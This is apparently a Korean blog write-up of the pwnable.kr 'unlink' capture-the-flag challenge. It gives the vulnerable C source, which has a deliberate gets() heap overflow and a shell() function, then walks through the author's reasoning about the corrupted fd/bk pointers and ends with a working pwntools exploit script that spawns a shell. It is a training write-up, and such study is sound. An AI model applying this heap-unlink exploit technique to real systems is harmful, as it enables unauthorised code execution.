unlink 문제는 처음이라서 lazenca 문서를 참고하였다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}OBJ;

void shell(){
    system("/bin/sh");
}

void unlink(OBJ* P){
    OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
}
int main(int argc, char* argv[]){
    malloc(1024);
    OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    OBJ* B = (OBJ*)malloc(sizeof(OBJ));
    OBJ* C = (OBJ*)malloc(sizeof(OBJ));

    // double linked list: A <-> B <-> C
    A->fd = B;
    B->bk = A;
    B->fd = C;
    C->bk = B;

    printf("here is stack address leak: %p\n", &A);
    printf("here is heap address leak: %p\n", A);
    printf("now that you have leaks, get shell!\n");
    // heap overflow!
    gets(A->buf);

    // exploit this unlink!
    unlink(B);
    return 0;
}

비교적 쉬운 문제인 것 같다. B의 fd, bk를 조작하면, 주소 fd+4에 주소 bk를 넣고, 주소 bk에 주소 fd의 값을 넣는다. 스택, 힙 주소가 릭된다. 처음에 stack 주소에 바로 overwrite를 하려 했지만 당연하게도 fd, bk의 주소 모두 writable해야 하므로 executable한 주소를 overwrite할 수 없다. 즉 리턴을 덮을 수는 없다는 것이다..

got overwrite인가? 그런데 unlink함수 이후에 바로 main 함수가 종료되어서 got를 덮는다고 한들 도움이 되지 않는다. 무조건 ret를 덮어야 하는데,, ret에 excutable한 주소를 덮을 수 없어서 난관에 빠졌다.

또 한가지 의문은 힙 주소를 왜 릭해주었냐는 것이다..

image

함수 에필로그가 정상이 아니다. (ebp-0x4에 있는 값)-0x4에 있는 값을 esp에 준다. 즉,

(ebp-0x4에 있는 값)-0x4에 있는 값은 shell 주소면 될것 같고, ebp-0x4에 있는 값은 heap 부분으로 주면 될 것 같다.

로컬에서 따지는 데 서버에 접속하고 안따진다..;;

서버에서 gdb로 메모리봐서 코드를 수정했다.. 왜 바이너리가 다른지는 잘 모르겠다.

Exploit Code

from pwn import *
p=process('./unlink')

shell = 0x80484eb
p.recvuntil(': 0x')
stack = int(p.recv(8),16)+0xc
p.recvuntil(': 0x')
heap = int(p.recv(7),16)+0x224
pause()
payload = 'A'*16+p32(stack)+p32(heap)+'A'*0x200+p32(shell)
p.sendlineafter('!\n', payload)
p.interactive()

Capture the Flag

image

'Writeup [pwn] > pwnable.kr' 카테고리의 다른 글

brainfuck  (0) 2020.03.07
ascii_easy  (0) 2020.03.07
Random  (0) 2020.03.07
passcode  (0) 2020.03.07
mistake  (0) 2020.03.07

+ Recent posts